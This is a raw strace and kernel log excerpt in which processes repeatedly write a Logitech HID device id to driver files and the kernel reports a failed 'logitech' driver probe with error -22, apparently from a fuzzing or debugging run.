[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 74.716400][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 74.749112][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.760464][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.784158][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.807178][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.841015][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 74.865611][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[ 74.887383][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.899021][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.910939][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.924884][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.959636][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 74.984626][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.019431][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 75.041219][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.084888][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.098445][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.121190][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.145202][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.157114][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.170175][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 75.205833][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 75.249627][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[ 75.292720][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.336148][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.358090][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.370045][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.384161][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[ 75.428080][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19) = -1 ENODEV (No such device)
[ 75.439480][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.451444][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[ 75.474972][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[ 75.520609][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[ 75.549883][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[ 75.581018][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[ 75.602201][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[ 75.623182][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] <... write resumed>) = -1 EINVAL (Invalid argument)
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5897] pread64(4 <unfinished ...>
[ 75.643821][ T5898] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[pid 5898] write(6, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
[pid 5898] <... write resumed>) = -1 ENODEV (No such device)
[pid 5897] pread64(4 <unfinished ...>
[pid 5898] write(5, "0003:046D:C293.0001", 19 <unfinished ...>
[pid 5897] <... pread64 resumed>, "", 256, 0) = 0
